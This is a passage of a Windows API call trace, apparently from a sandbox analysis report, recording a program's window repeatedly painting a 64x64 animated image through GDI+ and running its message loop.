(uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0159.676] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0159.677] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0159.677] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0159.677] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0159.677] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0159.678] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0159.678] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.678] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0159.678] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0159.678] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0159.678] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0159.678] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.678] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0159.678] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0159.678] GetCurrentObject (hdc=0x21010bab, type=0x1) returned 0x1b00017 [0159.678] GetCurrentObject (hdc=0x21010bab, type=0x2) returned 0x1900010 [0159.678] GetCurrentObject (hdc=0x21010bab, type=0x7) returned 0x1a05067e [0159.679] GetCurrentObject (hdc=0x21010bab, type=0x6) returned 0x18a002e [0159.679] SaveDC (hdc=0x21010bab) returned 1 [0159.679] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x200407c3 [0159.679] GetClipRgn (hdc=0x21010bab, hrgn=0x200407c3) returned 0 [0159.679] SelectClipRgn (hdc=0x21010bab, hrgn=0xfffffffff0040b8a) returned 2 [0159.679] DeleteObject (ho=0x200407c3) returned 1 [0159.679] DeleteObject (ho=0xfffffffff0040b8a) returned 1 [0159.679] OffsetViewportOrgEx (in: hdc=0x21010bab, x=0, y=0, lppt=0x271f630 | out: lppt=0x271f630) returned 1 [0159.679] GetNearestColor (hdc=0x21010bab, color=0xffffff) returned 0xffffff [0159.679] CreateSolidBrush (color=0xffffff) returned 0xfffffffff8100190 [0159.679] FillRect (hDC=0x21010bab, lprc=0x15d7c0, hbr=0xfffffffff8100190) returned 1 [0159.679] DeleteObject (ho=0xfffffffff8100190) returned 1 [0159.680] RestoreDC (hdc=0x21010bab, nSavedDC=-1) returned 1 [0159.680] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.680] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x21010bab) returned 0x0 [0159.680] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbf60dbd) returned 0x0 [0159.680] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.680] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0159.680] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0159.680] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0159.680] GetSystemMetrics (nIndex=42) returned 0 [0159.680] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0159.680] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0159.680] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0159.680] CoTaskMemFree (pv=0x1e91eca0) [0159.680] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0159.680] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0159.681] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0159.681] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0159.681] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x21010bab, x1=0, y1=0, rop=0xcc0020) returned 1 [0159.681] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.681] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x21010bab) returned 0x0 [0159.681] SelectObject (hdc=0x21010bab, h=0x185000f) returned 0x1a05067e [0159.681] DeleteDC (hdc=0x21010bab) returned 1 [0159.681] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.681] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0159.681] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0159.681] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0159.682] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0159.682] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0159.682] WaitMessage () returned 1 [0159.889] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0159.889] IsWindowUnicode (hWnd=0x2031e) returned 1 [0159.889] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0159.889] TranslateMessage (lpMsg=0x15e910) returned 0 [0159.889] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0159.889] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0159.889] GetCurrentThreadId () returned 0xec0 [0159.889] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0159.889] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0159.889] IsWindowUnicode (hWnd=0x2031e) returned 1 [0159.889] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0159.889] TranslateMessage (lpMsg=0x15e910) returned 0 [0159.889] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0159.890] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0159.890] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0159.890] CreateCompatibleDC (hdc=0x3010b83) returned 0x22010bab [0159.890] SelectObject (hdc=0x22010bab, h=0x1a05067e) returned 0x185000f [0159.890] GdipCreateFromHDC (hdc=0x22010bab, graphics=0x15daf0) returned 0x0 [0159.890] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0159.890] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0159.890] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0159.890] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0159.891] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0159.891] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0159.891] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0159.891] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0159.891] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.892] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0159.892] GdipCreateRegion (region=0x15dc20) returned 0x0 [0159.892] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0159.892] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0159.892] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0159.892] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0159.892] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0159.892] GetSystemMetrics (nIndex=42) returned 0 [0159.892] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0159.892] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0159.892] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0159.892] CoTaskMemFree (pv=0x1e91eca0) [0159.892] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0159.892] GdipCreateRegion (region=0x15d710) returned 0x0 [0159.892] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0159.893] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0159.893] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0159.893] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0159.893] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0159.893] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0159.893] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0159.893] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0159.893] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0159.893] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0159.894] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0159.894] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.894] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0159.894] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0159.894] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0159.894] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0159.894] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.894] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0159.894] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0159.895] GetCurrentObject (hdc=0x22010bab, type=0x1) returned 0x1b00017 [0159.895] GetCurrentObject (hdc=0x22010bab, type=0x2) returned 0x1900010 [0159.895] GetCurrentObject (hdc=0x22010bab, type=0x7) returned 0x1a05067e [0159.895] GetCurrentObject (hdc=0x22010bab, type=0x6) returned 0x18a002e [0159.895] SaveDC (hdc=0x22010bab) returned 1 [0159.895] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xfffffffff1040b8a [0159.895] GetClipRgn (hdc=0x22010bab, hrgn=0xfffffffff1040b8a) returned 0 [0159.895] SelectClipRgn (hdc=0x22010bab, hrgn=0x210407c3) returned 2 [0159.895] DeleteObject (ho=0xfffffffff1040b8a) returned 1 [0159.895] DeleteObject (ho=0x210407c3) returned 1 [0159.895] OffsetViewportOrgEx (in: hdc=0x22010bab, x=0, y=0, lppt=0x271ff68 | out: lppt=0x271ff68) returned 1 [0159.895] GetNearestColor (hdc=0x22010bab, color=0xffffff) returned 0xffffff [0159.896] CreateSolidBrush (color=0xffffff) returned 0xfffffffff9100190 [0159.896] FillRect (hDC=0x22010bab, lprc=0x15d7c0, hbr=0xfffffffff9100190) returned 1 [0159.896] DeleteObject (ho=0xfffffffff9100190) returned 1 [0159.896] RestoreDC (hdc=0x22010bab, nSavedDC=-1) returned 1 [0159.896] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.896] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x22010bab) returned 0x0 [0159.896] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbf40dbd) returned 0x0 [0159.896] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.896] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0159.896] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0159.896] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0159.896] GetSystemMetrics (nIndex=42) returned 0 [0159.897] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0159.897] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0159.897] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0159.897] CoTaskMemFree (pv=0x1e91eca0) [0159.897] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xe) returned 0x0 [0159.899] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0159.899] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0159.899] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0159.899] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0159.899] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x22010bab, x1=0, y1=0, rop=0xcc0020) returned 1 [0159.899] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.900] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x22010bab) returned 0x0 [0159.900] SelectObject (hdc=0x22010bab, h=0x185000f) returned 0x1a05067e [0159.900] DeleteDC (hdc=0x22010bab) returned 1 [0159.900] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.900] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0159.900] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0159.900] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0159.900] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0159.900] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0159.900] WaitMessage () returned 1 [0160.030] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0160.030] IsWindowUnicode (hWnd=0x2031e) returned 1 [0160.030] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0160.030] TranslateMessage (lpMsg=0x15e910) returned 0 [0160.030] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0160.031] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0160.031] GetCurrentThreadId () returned 0xec0 [0160.031] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0160.031] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0160.031] IsWindowUnicode (hWnd=0x2031e) returned 1 [0160.031] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0160.031] TranslateMessage (lpMsg=0x15e910) returned 0 [0160.031] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0160.031] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0160.031] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0160.032] CreateCompatibleDC (hdc=0x3010b83) returned 0x23010bab [0160.032] SelectObject (hdc=0x23010bab, h=0x1a05067e) returned 0x185000f [0160.032] GdipCreateFromHDC (hdc=0x23010bab, graphics=0x15daf0) returned 0x0 [0160.032] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0160.032] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0160.032] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0160.032] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0160.032] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0160.032] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0160.032] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0160.033] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0160.033] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.033] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0160.033] GdipCreateRegion (region=0x15dc20) returned 0x0 [0160.033] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0160.033] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0160.034] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0160.034] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0160.034] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0160.034] GetSystemMetrics (nIndex=42) returned 0 [0160.034] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0160.034] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0160.034] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0160.034] CoTaskMemFree (pv=0x1e91eca0) [0160.034] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0160.034] GdipCreateRegion (region=0x15d710) returned 0x0 [0160.034] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0160.035] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0160.035] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0160.035] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0160.035] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0160.035] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0160.035] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0160.035] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0160.035] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0160.036] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0160.036] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0160.036] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.036] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0160.036] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0160.036] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0160.036] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0160.036] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.036] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0160.036] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0160.037] GetCurrentObject (hdc=0x23010bab, type=0x1) returned 0x1b00017 [0160.037] GetCurrentObject (hdc=0x23010bab, type=0x2) returned 0x1900010 [0160.037] GetCurrentObject (hdc=0x23010bab, type=0x7) returned 0x1a05067e [0160.037] GetCurrentObject (hdc=0x23010bab, type=0x6) returned 0x18a002e [0160.037] SaveDC (hdc=0x23010bab) returned 1 [0160.037] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x220407c3 [0160.037] GetClipRgn (hdc=0x23010bab, hrgn=0x220407c3) returned 0 [0160.037] SelectClipRgn (hdc=0x23010bab, hrgn=0xfffffffff2040b8a) returned 2 [0160.037] DeleteObject (ho=0x220407c3) returned 1 [0160.037] DeleteObject (ho=0xfffffffff2040b8a) returned 1 [0160.037] OffsetViewportOrgEx (in: hdc=0x23010bab, x=0, y=0, lppt=0x2721220 | out: lppt=0x2721220) returned 1 [0160.038] GetNearestColor (hdc=0x23010bab, color=0xffffff) returned 0xffffff [0160.038] CreateSolidBrush (color=0xffffff) returned 0xfffffffffa100190 [0160.038] FillRect (hDC=0x23010bab, lprc=0x15d7c0, hbr=0xfffffffffa100190) returned 1 [0160.038] DeleteObject (ho=0xfffffffffa100190) returned 1 [0160.038] RestoreDC (hdc=0x23010bab, nSavedDC=-1) returned 1 [0160.038] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.038] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x23010bab) returned 0x0 [0160.038] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbf20dbd) returned 0x0 [0160.039] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.039] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0160.039] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0160.039] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0160.039] GetSystemMetrics (nIndex=42) returned 0 [0160.039] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0160.039] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0160.039] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0160.039] CoTaskMemFree (pv=0x1e91eca0) [0160.039] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0160.039] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0160.039] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0160.039] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0160.040] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x23010bab, x1=0, y1=0, rop=0xcc0020) returned 1 [0160.040] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.040] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x23010bab) returned 0x0 [0160.040] SelectObject (hdc=0x23010bab, h=0x185000f) returned 0x1a05067e [0160.040] DeleteDC (hdc=0x23010bab) returned 1 [0160.040] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.040] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0160.040] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0160.040] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0160.040] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0160.041] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0160.041] WaitMessage () returned 1 [0160.364] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0160.364] IsWindowUnicode (hWnd=0x2031e) returned 1 [0160.364] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0160.364] TranslateMessage (lpMsg=0x15e910) returned 0 [0160.364] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0160.364] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0160.364] GetCurrentThreadId () returned 0xec0 [0160.364] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0160.364] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0160.365] IsWindowUnicode (hWnd=0x2031e) returned 1 [0160.365] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0160.365] TranslateMessage (lpMsg=0x15e910) returned 0 [0160.365] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0160.365] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0160.365] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0160.365] CreateCompatibleDC (hdc=0x3010b83) returned 0x24010bab [0160.365] SelectObject (hdc=0x24010bab, h=0x1a05067e) returned 0x185000f [0160.365] GdipCreateFromHDC (hdc=0x24010bab, graphics=0x15daf0) returned 0x0 [0160.365] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0160.366] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0160.366] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0160.366] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0160.366] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0160.366] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0160.366] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0160.366] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0160.367] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.367] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0160.367] GdipCreateRegion (region=0x15dc20) returned 0x0 [0160.367] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0160.367] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0160.367] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0160.367] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0160.367] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0160.367] GetSystemMetrics (nIndex=42) returned 0 [0160.367] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0160.367] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0160.367] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0160.367] CoTaskMemFree (pv=0x1e91eca0) [0160.367] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0160.368] GdipCreateRegion (region=0x15d710) returned 0x0 [0160.368] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0160.368] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0160.368] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0160.368] GdipIsMatrixIdentity 